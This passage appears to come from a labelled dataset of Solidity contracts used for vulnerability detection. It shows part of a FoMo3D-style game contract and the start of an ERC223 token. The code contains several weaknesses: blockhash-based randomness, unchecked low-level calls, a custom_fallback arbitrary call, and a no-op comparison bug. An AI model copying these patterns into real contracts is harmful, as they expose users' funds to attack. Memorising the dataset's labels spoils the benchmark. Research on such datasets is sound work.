playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract POOHMO is POOHMOevents { using SafeMath for *; using NameFilter for string; using KeysCalc for uint256; PlayerBookInterface private PlayerBook; address private admin = msg.sender; address private flushDivs; string constant public name = ""POOHMO""; string constant public symbol = ""POOHMO""; uint256 private rndExtra_ = 1 minutes; uint256 private rndGap_ = 1 minutes; uint256 private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 private rndMax_ = 6 hours; uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes]; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => POOHMODatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => POOHMODatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => POOHMODatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => POOHMODatasets.TeamFee) public fees_; mapping (uint256 => POOHMODatasets.PotSplit) public potSplit_; constructor(address whaleContract, address playerbook) public { flushDivs = whaleContract; PlayerBook = PlayerBookInterface(playerbook); fees_[0] = POOHMODatasets.TeamFee(49,10); potSplit_[0] = POOHMODatasets.PotSplit(15,10); } modifier isActivated() { require(activated_ == true); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); require(_addr == tx.origin); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000); require(_eth <= 100000000000000000000000); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { POOHMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { POOHMODatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { POOHMODatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit POOHMOevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit POOHMOevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3] ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, POOHMODatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, 0, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMODatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, 0, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit POOHMOevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 5000000000000000000) { uint256 _availableLimit = (5000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_); endTx(_pID, 0, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook)); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook)); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(POOHMODatasets.EventReturns memory _eventData_) private returns (POOHMODatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _dev = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_dev); flushDivs.call.value(_POOH)(bytes4(keccak256(""donate()""))); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.POOHAmount = _POOH; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; rndMax_ = timerLengths[determineNextRoundLength()]; round_[_rID].end = now.add(rndMax_); round_[_rID].pot = _res; return(_eventData_); } function determineNextRoundLength() internal view returns(uint256 time) { uint256 roundTime = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1)))) % 6; return roundTime; } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMODatasets.EventReturns memory _eventData_) private returns(POOHMODatasets.EventReturns) { uint256 _dev = _eth / 100; uint256 _POOH = 0; if (!address(admin).call.value(_dev)()) { _POOH = _dev; _dev = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit POOHMOevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _POOH = _POOH.add(_aff); } _POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100)); if (_POOH > 0) { flushDivs.call.value(_POOH)(bytes4(keccak256(""donate()""))); _eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount); } return(_eventData_); } function potSwap() external payable { admin.transfer(msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) private returns(POOHMODatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMODatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit POOHMOevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.POOHAmount, _eventData_.genAmount, _eventData_.potAmount ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library POOHMODatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 POOHAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 pooh; } struct PotSplit { uint256 gen; uint256 pooh; } } library KeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20); if (_temp[0] == 0x30) { require(_temp[1] != 0x78); require(_temp[1] != 0x58); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a)); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 1556.sol,"pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) pure internal returns (uint256 z) { if (x < y) revert(); return x - y; } function safeMul(uint256 x, uint256 y) pure internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) revert(); return x * y; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC223 { uint public totalSupply; function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /* * Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ERC223Token is ERC223, SafeMath { mapping(address => uint) balances; string public name = ""NIJIGEN""; string public symbol = ""NIJ""; uint8 public decimals = 8; uint256 public totalSupply = 24e9 * 1e8; // Function to access name of token . function name() public view returns (string _name) { return name; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } //function that is called when transaction target is a contract 